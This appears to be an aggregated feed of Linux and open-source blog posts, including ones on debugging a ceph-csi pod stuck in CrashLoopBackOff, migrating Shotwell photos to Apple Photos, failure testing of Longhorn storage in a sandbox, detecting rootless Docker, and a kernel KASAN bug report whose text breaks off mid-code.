    Last week I had occasion to test deploying ceph-csi on a k3s cluster, so that Kubernetes workloads could access block storage provided by an external Ceph cluster. I went with the upstream Ceph documentation, because assuming everything worked it’d then be really easy for me to say to others “just go do this”.

    Everything did not work.

    I’d gone through all the instructions, inserting my own Ceph cluster’s FSID and MON IP addresses in the right places, applied the YAML to deploy the provisioner and node plugins, and all the provisioner bits were running just fine, but the csi-rbdplugin pods were stuck in CrashLoopBackOff:

    > kubectl get pods
    NAME                                        READY   STATUS             RESTARTS          AGE
    csi-rbdplugin-22zjr                         1/3     CrashLoopBackOff   107 (3m55s ago)   2d
    csi-rbdplugin-pbtc2                         1/3     CrashLoopBackOff   104 (3m33s ago)   2d
    csi-rbdplugin-provisioner-9dcfd56d7-c8s72   7/7     Running            28 (35m ago)      8d
    csi-rbdplugin-provisioner-9dcfd56d7-hcztz   7/7     Running            28 (35m ago)      8d
    csi-rbdplugin-provisioner-9dcfd56d7-w2ctc   7/7     Running            28 (35m ago)      8d
    csi-rbdplugin-r2rzr                         1/3     CrashLoopBackOff   106 (3m39s ago)   2d

    The csi-rbdplugin pod consists of three containers – driver-registrar, csi-rbdplugin, liveness-prometheus – and csi-rbdplugin wasn’t able to load the rbd kernel module:

    > kubectl logs csi-rbdplugin-22zjr --container csi-rbdplugin
    I0726 10:25:12.862125    7628 cephcsi.go:199] Driver version: canary and Git version: d432421a88238a878a470d54cbf2c50f2e61cdda
    I0726 10:25:12.862452    7628 cephcsi.go:231] Starting driver type: rbd with name: rbd.csi.ceph.com
    I0726 10:25:12.865907    7628 mount_linux.go:284] Detected umount with safe 'not mounted' behavior
    E0726 10:25:12.872477    7628 rbd_util.go:303] modprobe failed (an error (exit status 1) occurred while running modprobe args: [rbd]): "modprobe: ERROR: could not insert 'rbd': Key was rejected by service\n"
    F0726 10:25:12.872702    7628 driver.go:150] an error (exit status 1) occurred while running modprobe args: [rbd] 

    Matching “modprobe: ERROR: could not insert ‘rbd’: Key was rejected by service” in the above was an error on each host’s console: “Loading of unsigned module is rejected”. These hosts all have secure boot enabled, so I figured it had to be something to do with that. So I logged into one of the hosts and ran modprobe rbd as root, but that worked just fine. No key errors, no unsigned module errors. And once I’d run modprobe rbd (and later modprobe nbd) on the host, the csi-rbdplugin container restarted and worked just fine.

    So why wouldn’t modprobe work inside the container? /lib/modules from the host is mounted inside the container, the container has the right extra privileges… Clearly I needed to run a shell in the failing container to poke around inside when it was in CrashLoopBackOff state, but I realised I had no idea how to do that. I knew I could kubectl exec -it csi-rbdplugin-22zjr --container csi-rbdplugin -- /bin/bash but of course that only works if the container is actually running. My container wouldn’t even start because of that modprobe error.

    Having previously spent a reasonable amount of time with podman, which has podman run, I wondered if there were a kubectl run that would let me start a new container using the upstream cephcsi image, but running a shell, instead of its default command. Happily, there is a kubectl run, so I tried it:

    > kubectl run -it cephcsi --image=quay.io/cephcsi/cephcsi:canary --rm=true --command=true -- /bin/bash
    If you don't see a command prompt, try pressing enter.
    [root@cephcsi /]# modprobe rbd
    modprobe: FATAL: Module rbd not found in directory /lib/modules/5.14.21-150400.24.66-default
    [root@cephcsi /]# ls /lib/modules/
    [root@cephcsi /]#  

    Ohhh, right, of course, that doesn’t have the host’s /lib/modules mounted. podman run lets me add volume mounts using -v options , so surely kubectl run will let me do that too.

    At this point in the story, the notes I wrote last week include an awful lot of swearing.

    See, kubectl run doesn’t have a -v option to add mounts, but what it does have is an --overrides option to let you add a chunk of JSON to override the generated pod. So I went back to the relevant YAML and teased out the bits I needed to come up with this monstrosity:

    > kubectl run -it cephcsi-test \
      --image=quay.io/cephcsi/cephcsi:canary --rm=true \
      --overrides='{
        "apiVersion": "v1",
        "spec": {
          "containers": [ {
            "name": "cephcsi",
            "command": ["/bin/bash"],
            "stdin": true, "tty": true,
            "image": "quay.io/cephcsi/cephcsi:canary",
            "volumeMounts": [ {
              "mountPath": "/lib/modules", "name": "lib-modules" }],
            "securityContext": {
              "allowPrivilegeEscalation": true,
              "capabilities": { "add": [ "SYS_ADMIN" ] },
              "privileged": true }
          } ],
          "volumes": [ {
            "name": "lib-modules",
            "hostPath": { "path": "/lib/modules", "type": "" }
          } ]
        } }'

    But at least I could get a shell and reproduce the problem:

    > kubectl run -it cephcsi-test [honking great horrible chunk of JSON]
    [root@cephcsi-test /]# ls /lib/modules/
    5.14.21-150400.24.66-default
    [root@cephcsi-test /]# modprobe rbd
    modprobe: ERROR: could not insert 'rbd': Key was rejected by service

    A certain amount more screwing around looking at the source for modprobe and bits of the kernel confirmed that the kernel really didn’t think the module was signed for some reason (mod_verify_sig() was returning -ENODATA), but I knew these modules were fine, because I could load them on the host. Eventually I hit on this:

    [root@cephcsi-test /]# ls /lib/modules/*/kernel/drivers/block/rbd*
    /lib/modules/5.14.21-150400.24.66-default/kernel/drivers/block/rbd.ko.zst

    Wait, what’s that .zst extension? It turns out we (SUSE) have been shipping zstd-compressed kernel modules since – as best as I can tell – some time in 2021. modprobe on my SLE Micro 5.3 host of course supports this:

    # grep PRETTY /etc/os-release
    PRETTY_NAME="SUSE Linux Enterprise Micro for Rancher 5.3"
    # modprobe --version
    kmod version 29
    +ZSTD +XZ +ZLIB +LIBCRYPTO -EXPERIMENTAL

    modprobe in the CentOS Stream 8 upstream cephcsi container does not:

    [root@cephcsi-test /]# grep PRETTY /etc/os-release 
    PRETTY_NAME="CentOS Stream 8"
    [root@cephcsi-test /]# modprobe --version
    kmod version 25
    +XZ +ZLIB +OPENSSL -EXPERIMENTAL

    Mystery solved, but I have to say the error messages presented were spectacularly misleading. I later tried with secure boot disabled, and got something marginally better – in that case modprobe failed with “modprobe: ERROR: could not insert ‘rbd’: Exec format error”, and dmesg on the host gave me “Invalid ELF header magic: != \x7fELF”. If I’d seen messaging like that in the first place I might have been quicker to twig to the compression thing.

    Anyway, the point of this post wasn’t to rant about inscrutable kernel errors, it was to rant about how there’s no way anyone could be reasonably expected to figure out how to do that --overrides thing with the JSON to debug a container stuck in CrashLoopBackOff. Assuming I couldn’t possibly be the first person to need to debug containers in this state, I told my story to some colleagues, a couple of whom said (approximately) “Oh, I edit the pod YAML and change the container’s command to tail -f /dev/null or sleep 1d. Then it starts up just fine and I can kubectl exec into it and mess around”. Those things totally work, and I wish I’d thought to do that myself. The best answer I got though was to use kubectl debug to make a copy of the existing pod but with the command changed. I didn’t even know kubectl debug existed, which I guess is my reward for not reading the entire manual 😉

    So, finally, here’s the right way to do what I was trying to do:

    > kubectl debug csi-rbdplugin-22zjr -it \
        --copy-to=csi-debug --container=csi-rbdplugin -- /bin/bash
    [root@... /]# modprobe rbd
    modprobe: ERROR: could not insert 'rbd': Key was rejected by service
    
    (...do whatever other messing around you need to do, then...)
    
    [root@... /]# exit
    Session ended, resume using 'kubectl attach csi-debug -c csi-rbdplugin -i -t' command when the pod is running
    > kubectl delete pod csi-debug
    pod "csi-debug" deleted 

    In the above kubectl debug invocation, csi-rbdplugin-22zjr is the existing pod that’s stuck in CrashLoopBackOff, csi-debug is the name of the new pod being created, and csi-rbdplugin is the container in that pod that has its command replaced with /bin/bash, so you can mess around inside it.

    Sunday, 2 July 2023

    FLOSS Down Under - online free software meetingsJuly 2023 Meeting

    Meeting Report

    The July 2023 meeting sparked multiple new topics including Linux security architecture, Debian ports of LoongArch and Risc-V as well as hardware design of PinePhone backplates.

    On the practical side, Russell Coker demonstrated running different applications in isolated environment with bubblewrap sandbox, as well as other hardening techniques and the way they interact with the host system. Russell also discussed some possible pathways of hardening desktop Linux to reach the security level of modern Android. Yifei Zhan demonstrated sending and receiving messages with the PineDio USB LoRa adapter and how to inspect LoRa signal with off-the-shelf software defined radio receiver, and discussed how the driver situation for LoRa on Linux might be improved. Yifei then gave a demonstration on utilizing KVM on PinePhone Pro to run NetBSD and OpenBSD virtual machines, more details on running VMs on the PinePhone Pro can be found on this blog post from Yifei.

    We also had some discussion of the current state of Mobian and Debian ecosystem, along with how to contribute to different parts of Mobian with a Mobian developer who joined us.

    Sunday, 25 June 2023

    Stewart SmithGetting your photos out of Shotwell

    Somewhat a while ago now, I wrote about how every time I return to write some software for the Mac, the preferred language has changed. The purpose of this adventure was to get my photos out of the aging Shotwell and onto my (then new) Mac and the Apple Photos App.

    I’ve had a pretty varied experience with photo management on Linux over the past couple of decades. For a while I used f-spot as it was the new hotness. At some point this became…. slow and crashy enough that it was unusable. Today, it appears that the GitHub project warns that current bugs include “Not starting”.

    At some point (and via a method I have long since forgotten), I did manage to finally get my photos over to Shotwell, which was the new hotness at the time. That data migration was so long ago now I actually forget what features I was missing from f-spot that I was grumbling about. I remember the import being annoying though. At some point in time Shotwell was no longer was the new hotness and now there is GNOME Photos. I remember looking at GNOME Photos, and seeing no method of importing photos from Shotwell, so put it aside. Hopefully that situation has improved somewhere.

    At some point Shotwell was becoming rather stagnated, and I noticed more things stopping to work rather than getting added features and performance. The good news is that there has been some more development activity on Shotwell, so hopefully my issues with it end up being resolved.

    One recommendation for Linux photo management was digiKam, and one that I never ended up using full time. One of the reasons behind that was that I couldn’t really see any non manual way to import photos from Shotwell into it.

    With tens of thousands of photos (~58k at the time of writing), doing things manually didn’t seem like much fun at all.

    As I postponed my decision, I ended up moving my main machine over to a Mac for a variety of random reasons, and one quite motivating thing was the ability to have Photos from my iPhone magically sync over to my photo library without having to plug it into my computer and copy things across.

    So…. how to get photos across from Shotwell on Linux to Photos on a Mac/iPhone (and also keep a very keen eye on how to do it the other way around, because, well, vendor lock-in isn’t great).

    It would be kind of neat if I could just run Shotwell on the Mac and have some kind of import button, but seeing as there wasn’t already a native Mac port, and that Shotwell is written in Vala rather than something I know has a working toolchain on macOS…. this seemed like more work than I’d really like to take on.

    Luckily, I remembered that Shotwell’s database is actually just a SQLite database pointing to all the files on disk. So, if I could work out how to read it accurately, and how to import all the relevant metadata (such as what Albums a photo is in, tags, title, and description) into Apple Photos, I’d be able to make it work.

    So… is there any useful documentation as to how the database is structured?

    Semi annoyingly, Shotwell is written in Vala, a rather niche programming language that while integrating with all the GObject stuff that GNOME uses, is largely unheard of. Luckily, the database code in Shotwell isn’t too hard to read, so was a useful fallback for when the documentation proves inadequate.

    So, I armed myself with the following resources:

    Programming the Mac side of things, it was a good excuse to start looking at Swift, so knowing I’d also need to read a SQLite database directly (rather than use any higher level abstraction), I armed myself with the following resources:

    From here, I could work on getting the first half going, the ability to view my Shotwell database on the Mac (which is what I posted a screenshot of back in Feb 2022).

    But also, I had to work out what I was doing on the other end of things, how would I import photos? It turns out there’s an API!

    A bit of SwiftUI code:

    import SwiftUI
    import AppKit
    import Photos
    
    struct ContentView: View {
        @State var favorite_checked : Bool = false
        @State var hidden_checked : Bool = false
        var body: some View {
            VStack() {
                Text("Select a photo for import")
                Toggle("Favorite", isOn: $favorite_checked)
                Toggle("Hidden", isOn: $hidden_checked)
                Button("Import Photo")
                {
                    let panel = NSOpenPanel()
                    panel.allowsMultipleSelection = false
                    panel.canChooseDirectories = false
                    if panel.runModal() == .OK {
                        let photo_url = panel.url!
                        print("selected: " + String(photo_url.absoluteString))
                        addAsset(url: photo_url, isFavorite: favorite_checked, isHidden: hidden_checked)
                    }
                }
                .padding()
            }
        }
    }
    
    struct ContentView_Previews: PreviewProvider {
        static var previews: some View {
            ContentView()
        }
    }
    

    Combined with a bit of code to do the import (which does look a bunch like the examples in the docs):

    import SwiftUI
    import Photos
    import AppKit
    
    @main
    struct SinglePhotoImporterApp: App {
        var body: some Scene {
            WindowGroup {
                ContentView()
            }
        }
    }
    
    func addAsset(url: URL, isFavorite: Bool, isHidden: Bool) {
        // Add the asset to the photo library.
        let path = "/Users/stewart/Pictures/1970/01/01/1415446258647.jpg"
        let url = URL(fileURLWithPath: path)
        PHPhotoLibrary.shared().performChanges({
            let addedImage = PHAssetChangeRequest.creationRequestForAssetFromImage(atFileURL: url)
            addedImage?.isHidden = isHidden
            addedImage?.isFavorite = isFavorite
        }, completionHandler: {success, error in
            if !success { print("Error creating the asset: \(String(describing: error))") } else
            {
                print("Imported!")
            }
        })
    }
    

    This all meant I could import a single photo. However, there were some limitations.

    There’s the PHAssetCollectionChangeRequest to do things to Albums, so it would solve that problem, but I couldn’t for the life of me work out how to add/edit Titles and Descriptions.

    It was so close!

    So what did I need to do in order to import Titles and Descriptions? It turns out you can do that via AppleScript. Yes, that thing that launched in 1993 and has somehow survived the transition of m68k based Macs to PowerPC based Macs to Intel based Macs to ARM based Macs.

    The Photos dictionary for AppleScript

    So, just to make it easier to debug what was going on, I started adding code to my ShotwellImporter tool that would generate snippets of AppleScript I could run and check that it was doing the right thing…. but then very quickly ran into a problem…. it appears that the AppleScript language interpreter on modern macOS has limits that you’d be more familiar with in 1993 than 2023, and I very quickly hit limits where the script would just error out before running (I was out of dictionary size allegedly).

    But there’s a new option! Everything you can do with AppleScript you can now do with JavaScript – it’s just even less documented than AppleScript is! But it does work! I got to the point where I could generate JavaScript that imported photos, into all the relevant albums, and set title and descriptions.

    A useful write up of using JavaScript rather than AppleScript to do things with Photos: https://mudge.name/2019/11/13/scripting-photos-for-macos-with-javascript/

    More recent than when I was doing my hacking, https://alexwlchan.net/2023/managing-albums-in-photos/ is a good read.

    With luck I’ll find some time to write up a bit of a walkthrough of my code, and push it up somewhere.

    Wednesday, 3 May 2023

    Tim SerongLonghorn in a Sandbox

    In my last post, I wrote about how I taught sesdev (originally a tool for deploying Ceph clusters on virtual machines) to deploy k3s, because I wanted a little sandbox in which I could break learn more about Kubernetes. It’s nice to be able to do a toy deployment locally, on a bunch of VMs, on my own hardware, in my home office, rather than paying to do it on someone else’s computer. Given the k3s thing worked, I figured the next step was to teach sesdev how to deploy Longhorn so I could break that learn more about that too.

    Teaching sesdev to deploy Longhorn meant asking it to:

    • Install nfs-client, open-iscsi and e2fsprogs packages on all nodes.
    • Make an ext4 filesystem on /dev/vdb on all the nodes that have extra disks, then mount that on /var/lib/longhorn.
    • Use kubectl label node -l 'node-role.kubernetes.io/master!=true' node.longhorn.io/create-default-disk=true to ensure Longhorn does its storage thing only on the nodes that aren’t the k3s master.
    • Install Longhorn with Helm, because that will install the latest version by default vs. using kubectl where you always explicitly need to specify the version.
    • Create an ingress so the UI is exposed… from all nodes, via HTTP, with no authentication. Remember: this is a sandbox – please don’t do this sort of thing in production!

    So, now I can do this:

    > sesdev create k3s --deploy-longhorn
    === Creating deployment "k3s-longhorn" with the following configuration === 
    
    Deployment-wide parameters (applicable to all VMs in deployment):
    
    - deployment ID:    k3s-longhorn
    - number of VMs:    5
    - version:          k3s
    - OS:               tumbleweed
    - public network:   10.20.78.0/24 
    
    Proceed with deployment (y=yes, n=no, d=show details) ? [y]: y
    
    === Running shell command ===
    vagrant up --no-destroy-on-error --provision
    Bringing machine 'master' up with 'libvirt' provider…
    Bringing machine 'node1' up with 'libvirt' provider…
    Bringing machine 'node2' up with 'libvirt' provider…
    Bringing machine 'node3' up with 'libvirt' provider…
    Bringing machine 'node4' up with 'libvirt' provider…
    
    [... lots more log noise here - this takes several minutes... ]
    
    === Deployment Finished ===
    
    You can login into the cluster with:
    
      $ sesdev ssh k3s-longhorn
    
    Longhorn will now be deploying, which may take some time.
    After logging into the cluster, try these:
    
      # kubectl get pods -n longhorn-system --watch
      # kubectl get pods -n longhorn-system
    
    The Longhorn UI will be accessible via any cluster IP address
    (see the kubectl -n longhorn-system get ingress output above).
    Note that no authentication is required.

    …and, after another minute or two, I can access the Longhorn UI and try creating some volumes. There’s a brief period while the UI pod is still starting where it just says “404 page not found”, and later after the UI is up, there’s still other pods coming online, so on the Volume screen in the Longhorn UI an error appears: “failed to get the parameters: failed to get target node ID: cannot find a node that is ready and has the default engine image longhornio/longhorn-engine:v1.4.1 deployed“. Rest assured this goes away in due course (it’s not impossible I’m suffering here from rural Tasmanian internet lag pulling container images). Anyway, with my five nodes – four of which have an 8GB virtual disk for use by Longhorn – I end up with a bit less than 22GB storage available:

    21.5 GiB isn’t much, but remember this is a toy deployment running in VMs on my desktop Linux box

    Now for the fun part. Longhorn is a distributed storage solution, so I thought it would be interesting to see how it handled a couple of types of failure. The following tests are somewhat arbitrary (I’m really just kicking the tyres randomly at this stage) but Longhorn did, I think, behave pretty well given what I did to it.

    Volumes in Longhorn consist of replicas stored as sparse files on a regular filesystem on each storage node. The Longhorn documentation recommends using a dedicated disk rather than just having /var/lib/longhorn backed by the root filesystem, so that’s what sesdev does: /var/lib/longhorn is an ext4 filesystem mounted on /dev/vdb. Now, what happens to Longhorn if that underlying block device suffers some kind of horrible failure? To test that, I used the Longhorn UI to create a 2GB volume, then attached that to the master node:

    The Longhorn UI helpfully tells me the volume replicas are on node3, node4 and node1

    Then, I ssh’d to the master node and with my 2GB Longhorn volume attached, made a filesystem on it and created a little file:

    > sesdev ssh k3s-longhorn
    Have a lot of fun...
    
    master:~ # cat /proc/partitions 
    major minor  #blocks  name 
     253        0   44040192 vda
     253        1       2048 vda1
     253        2      20480 vda2
     253        3   44016623 vda3
       8        0    2097152 sda
    
    master:~ # mkfs /dev/sda
    mke2fs 1.46.5 (30-Dec-2021)
    Discarding device blocks: done                            
    Creating filesystem with 524288 4k blocks and 131072 inodes
    Filesystem UUID: 3709b21c-b9a2-41c1-a6dd-e449bdeb275b
    Superblock backups stored on blocks: 
            32768, 98304, 163840, 229376, 294912
    Allocating group tables: done                            
    Writing inode tables: done                            
    Writing superblocks and filesystem accounting information: done 
    
    master:~ # mount /dev/sda /mnt
    master:~ # echo foo > /mnt/foo
    master:~ # cat /mnt/foo
    foo

    Then I went and trashed the block device backing one of the replicas:

    > sesdev ssh k3s-longhorn node3
    Have a lot of fun...
    
    node3:~ # ls /var/lib/longhorn
    engine-binaries  longhorn-disk.cfg  lost+found  replicas  unix-domain-socket
    
    node3:~ # dd if=/dev/urandom of=/dev/vdb bs=1M count=100
    100+0 records in
    100+0 records out
    104857600 bytes (105 MB, 100 MiB) copied, 0.486205 s, 216 MB/s
    
    node3:~ # ls /var/lib/longhorn
    
    node3:~ # dmesg|tail -n1
    [ 6544.197183] EXT4-fs error (device vdb): ext4_map_blocks:607: inode #393220: block 1607168: comm longhorn: lblock 0 mapped to illegal pblock 1607168 (length 1) 

    At this point, the Longhorn UI still showed the volume as green (healthy, ready, scheduled). Then, back on the master node, I tried creating another file:

    master:~ # echo bar > /mnt/bar
    master:~ # cat /mnt/bar
    bar

    That’s fine so far, but suddenly the Longhorn UI noticed that something very bad had happened:

    The volume is still usable, but one of the replicas has failed

    Ultimately node3 was rebooted and ended up stalled with the console requesting the root password for maintenance:

    Failed to mount /var/lib/longhorn – Can’t find ext4 filesystem

    Meanwhile, Longhorn went and rebuilt a third replica on node2:

    All green again!

    …and the volume remained usable the entire time:

    master:~ # echo baz > /mnt/baz
    master:~ # ls /mnt
    bar  baz  foo  lost+found

    That’s perfect!

    Looking at the Node screen we could see that node3 was still down:

    There may be disk size errors with down nodes (4.87 TiB looks a lot like integer overflow to me)

    That’s OK, I was able to fix node3. I logged in on the console and ran mkfs.ext4 /dev/vdb then brought the node back up again.The disk remained unschedulable, because Longhorn was still expecting the ‘old’ disk to be there (I assume based on the UUID stored in /var/lib/longhorn/longhorn-disk.cfg) and of course the ‘new’ disk is empty. So I used the Longhorn UI to disable scheduling for that ‘old’ disk, then deleted it. Shortly after, Longhorn recognised the ‘new’ disk mounted at /var/lib/longhorn and everything was back to green across the board.

    So Longhorn recovered well from the backing store of one replica going bad. Next I thought I’d try to break it from the other end by running a volume out of space. What follows is possibly not a fair test, because what I did was create a single Longhorn volume larger than the underlying disks, then filled that up. In normal usage, I assume one would ensure there’s plenty of backing storage available to service multiple volumes, that individual volumes wouldn’t generally be expected to get more than a certain percentage full, and that some sort of monitoring and/or alerting would be in place to warn of disk pressure.

    With four nodes, each with a single 8GB disk, and Longhorn apparently reserving 2.33GB by default on each disk, that means no Longhorn volume can physically store more than a bit over 5.5GB of data (see the Size column in the previous screenshot). Given that the default setting for Storage Over Provisioning Percentage is 200, we’re actually allowed to allocate up to a bit under 11GB.

    So I went and created a 10GB volume, attached that to the master node, created a filesystem on it, and wrote a whole lot of zeros to it:

    master:~ # mkfs.ext4 /dev/sda
    mke2fs 1.46.5 (30-Dec-2021)
    [...]
    
    master:~ # mount /dev/sda /mnt
    master:~ # df -h /mnt
    Filesystem      Size  Used Avail Use% Mounted on
    /dev/sda        9.8G   24K  9.3G   1% /mnt
    
    master:~ # dd if=/dev/zero of=/mnt/big-lot-of-zeros bs=1M status=progress
    2357198848 bytes (2.4 GB, 2.2 GiB) copied, 107 s, 22.0 MB/s

    While that dd was running, I was able to see the used space of the replicas increasing in the Longhorn UI:

    Those little green bars eventually turn yellow as the disks approach full

    After a few more minutes, the dd stalled…

    master:~ # dd if=/dev/zero of=/mnt/big-lot-of-zeros bs=1M status=progress
    9039773696 bytes (9.0 GB, 8.4 GiB) copied, 478 s, 18.9 MB/s

    …there was a lot of unpleasantness on the master node’s console…

    So many I/O errors!

    …the replicas became unschedulable due to lack of space…

    This doesn’t look good

    …and finally the volume faulted:

    This really doesn’t look good

    Now what?

    It turns out that Longhorn will actually recover if we’re able to somehow expand the disks that store the replicas. This is probably a good argument for backing Longhorn with an LVM volume on each node in real world deployments, because then you could just add another disk and extend the volume onto it. In my case though, given it’s all VMs and virtual block devices, I can actually just enlarge those devices. For each node then, I:

    1. Shut it down
    2. Ran qemu-img resize /var/lib/libvirt/images/k3s-longhorn_$NODE-vdb.qcow2 +8G
    3. Started it back up again and ran resize2fs /dev/vdb to take advantage of the extra disk space.

    After doing that to node1, Longhorn realised there was enough space there and brought node1’s replica of my 10GB volume back online. It also summarily discarded the other two replicas from the still-full disks on node2 and node3, which didn’t yet have enough free space to be useful:

    One usable replica is better than three unusable replicas

    As I repeated the virtual disk expansion on the other nodes, Longhorn happily went off and recreated the missing replicas:

    Finally I could re-attach the volume to the master node, and have a look to see how many of my zeros were actually written to the volume:

    master:~ # cat /proc/partitions 
    major minor  #blocks  name
     254        0   44040192 vda
     254        1       2048 vda1
     254        2      20480 vda2
     254        3   44016623 vda3
       8        0   10485760 sda
    
    master:~ # mount /dev/sda /mnt
    master:~ # ls -l /mnt
    total 7839764
    -rw-r--r-- 1 root root 8027897856 May  3 04:41 big-lot-of-zeros
    drwx------ 2 root root      16384 May  3 04:34 lost+found

    Recall that dd claimed to have written 9039773696 bytes before it stalled when the volume faulted, so I guess that last gigabyte of zeros is lost in the aether. But, recall also that this isn’t really a fair test – one overprovisioned volume deliberately being quickly and deliberately filled to breaking point vs. a production deployment with (presumably) multiple volumes that don’t fill quite so fast, and where one is hopefully paying at least a little bit of attention to disk pressure as time goes by.

    It’s worth noting that in a situation where there are multiple Longhorn volumes, assuming one disk or LVM volume per node, the replicas will all share the same underlying disks, and once those disks are full it seems all the Longhorn volumes backed by them will fault. Given multiple Longhorn volumes, one solution – rather than expanding the underlying disks – is simply to delete a volume or two if you can stand to lose the data, or maybe delete some snapshots (I didn’t try the latter yet). Once there’s enough free space, the remaining volumes will come back online. If you’re really worried about this failure mode, you could always just disable overprovisioning in the first place – whether this makes sense or not will really depend on your workloads and their data usage patterns.

    All in all, like I said earlier, I think Longhorn behaved pretty well given what I did to it. Some more information in the event log could perhaps be beneficial though. In the UI I can see warnings from longhorn-node-controller e.g. “the disk default-disk-1cdbc4e904539d26(/var/lib/longhorn/) on the node node1 has 3879731200 available, but requires reserved 2505089433, minimal 25% to schedule more replicas” and warnings from longhorn-engine-controller e.g. “Detected replica overprovisioned-r-73d18ad6 (10.42.3.19:10000) in error“, but I couldn’t find anything really obvious like “Dude, your disks are totally full!”

    Later, I found more detail in the engine manager logs after generating a support bundle ([…] level=error msg=”I/O error” error=”tcp://10.42.4.34:10000: write /host/var/lib/longhorn/replicas/overprovisioned-c3b9b547/volume-head-003.img: no space left on device”) so the error information is available – maybe it’s just a matter of learning where to look for it.

    Wednesday, 5 April 2023

    sthbrx - a POWER technical blogDetecting rootless Docker

    Trying to do some fuzzing...

    The other day, for the first time in a while, I wanted to do something with syzkaller, a system call fuzzer that has been used to find literally thousands of kernel bugs. As it turns out, since the last time I had done any work on syzkaller, I switched to a new laptop, and so I needed to set up a few things in my development environment again.

    While I was doing this, I took a look at the syzkaller source again and found a neat little script called syz-env, which uses a Docker image to provide you with a standardised environment that has all the necessary tools and dependencies preinstalled.

    I decided to give it a go, and then realised I hadn't actually installed Docker since getting my new laptop. So I went to do that, and along the way I discovered rootless mode, and decided to give it a try.

    What's rootless mode?

    As of relatively recently, Docker supports rootless mode, which allows you to run your dockerd as a non-root user. This is helpful for security, as traditional "rootful" Docker can trivially be used to obtain root privileges outside of a container. Rootless Docker is implemented using RootlessKit (a fancy replacement for fakeroot that uses user namespaces) to create a new user namespace that maps the UID of the user running dockerd to 0.

    You can find more information, including details of the various restrictions that apply to rootless setups, in the Docker documentation.

    The problem

    I ran tools/syz-env make to test things out. It pulled the container image, then gave me some strange errors:

    ajd@jarvis-debian:~/syzkaller$ tools/syz-env make NCORES=1
    gcr.io/syzkaller/env:latest
    warning: Not a git repository. Use --no-index to compare two paths outside a working tree
    usage: git diff --no-index [<options>] <path> <path>
    
        ...
    
    fatal: detected dubious ownership in repository at '/syzkaller/gopath/src/github.com/google/syzkaller'
    To add an exception for this directory, call:
    
            git config --global --add safe.directory /syzkaller/gopath/src/github.com/google/syzkaller
    fatal: detected dubious ownership in repository at '/syzkaller/gopath/src/github.com/google/syzkaller'
    To add an exception for this directory, call:
    
            git config --global --add safe.directory /syzkaller/gopath/src/github.com/google/syzkaller
    go list -f '{{.Stale}}' ./sys/syz-sysgen | grep -q false || go install ./sys/syz-sysgen
    error obtaining VCS status: exit status 128
            Use -buildvcs=false to disable VCS stamping.
    error obtaining VCS status: exit status 128
            Use -buildvcs=false to disable VCS stamping.
    make: *** [Makefile:155: descriptions] Error 1
    

    After a bit of digging, I found that syz-env mounts the syzkaller source directory inside the container as a volume. make was running with UID 1000, while the files in the mounted volume appeared to be owned by root.

    Reading the script, it turns out that syz-env invokes docker run with the --user option to set the UID inside the container to match the user's UID outside the container, to ensure that file ownership and permissions behave as expected.

    This works in rootful Docker, where files appear inside the container to be owned by the same UID as they are outside the container. However, it breaks in rootless mode: due to the way RootlessKit sets up the namespaces, the user's UID is mapped to 0, causing the files to appear to be owned by root.

    The workaround seemed pretty obvious: just skip the --user flag if running rootless.

    How can you check whether your Docker daemon is running in rootless mode?

    It took me quite a while, as a total Docker non-expert, to figure out how to definitively check whether the Docker daemon is running rootless or not. There's a variety of ways you could do this, such as checking the name of the current Docker context to see if it's called rootless (as used by the Docker rootless setup scripts), but I think the approach I settled on is the most correct one.

    If you want to check whether your Docker daemon is running in rootless mode, use docker info to query the daemon's security options, and check for the rootless option.

    docker info -f "{{println .SecurityOptions}}" | grep rootless
    

    If this prints something like:

    [name=seccomp,profile=builtin name=rootless name=cgroupns]
    

    then you're running rootless.

    If not, then you're running the traditional rootful.

    Easy! (And I sent a fix which is now merged into syzkaller!)

    Tuesday, 4 April 2023

    sthbrx - a POWER technical blogDumb bugs: the PCI device that wasn't

    I was happily minding my own business one fateful afternoon when I received the following kernel bug report:

    BUG: KASAN: slab-out-of-bounds in vga_arbiter_add_pci_device+0x60/0xe00
    Read of size 4 at addr c000000264c26fdc by task swapper/0/1
    
    Call Trace:
    dump_stack_lvl+0x1bc/0x2b8 (unreliable)
    print_report+0x3f4/0xc60
    kasan_report+0x244/0x698
    __asan_load4+0xe8/0x250
    vga_arbiter_add_pci_device+0x60/0xe00
    pci_notify+0x88/0x444
    notifier_call_chain+0x104/0x320
    blocking_notifier_call_chain+0xa0/0x140
    device_add+0xac8/0x1d30
    device_register+0x58/0x80
    vio_register_device_node+0x9ac/0xce0
    vio_bus_scan_register_devices+0xc4/0x13c
    __machine_initcall_pseries_vio_device_init+0x94/0xf0
    do_one_initcall+0x12c/0xaa8
    kernel_init_freeable+0xa48/0xba8
    kernel_init+0x64/0x400
    ret_from_kernel_thread+0x5c/0x64
    

    OK, so KASAN has helpfully found an out-of-bounds access in vga_arbiter_add_pci_device(). What the heck is that?

    Why does my VGA require arbitration?

    I'd never heard of the VGA arbiter in the kernel (do kids these days know what VGA is?), or vgaarb as it's called. What it does is irrelevant to this bug, but I found the history pretty interesting! Benjamin Herrenschmidt proposed VGA arbitration back in 2005 as a way of resolving conflicts between multiple legacy VGA devices that want to use the same address assignments. This was previously handled in userspace by the X server, but issues arose with multiple X servers on the same machine. Plus, it's probably not a good idea for this kind of thing to be handled by userspace. You can read more about the VGA arbiter in the kernel docs, but it's probably not something anyone has thought much about in a long time.

    The bad access

    static bool vga_arbiter_add_pci_device(struct pci_dev *pdev)
    {
            struct vga_device *vgadev;
            unsigned long flags;
            struct pci_bus *bus;
            struct pci_dev *bridge;
            u16 cmd;
    
            /* Only deal with VGA class devices */
            if ((pdev->class >> 8) != PCI_CLASS_DISPLAY_VGA)
                    return false;
    

    We're blowing up on the read to pdev->class, and it's not something like the data being uninitialised, it's out-of-bounds. If we look back at the call trace:

    vga_arbiter_add_pci_device+0x60/0xe00
    pci_notify+0x88/0x444
    notifier_call_chain+0x104/0x320
    blocking_notifier_call_chain+0xa0/0x140
    device_add+0xac8/0x1d30
    device_register+0x58/0x80
    vio_register_device_node+0x9ac/0xce0
    vio_bus_scan_register_devices+0xc4/0x13c
    

    This thing is a VIO device, not a PCI device! Let's jump into the caller, pci_notify(), to find out how we got our pdev.

    static int pci_notify(struct notifier_block *nb, unsigned long action,
                          void *data)
    {
            struct device *dev = data;
            struct pci_dev *pdev = to_pci_dev(dev);
    

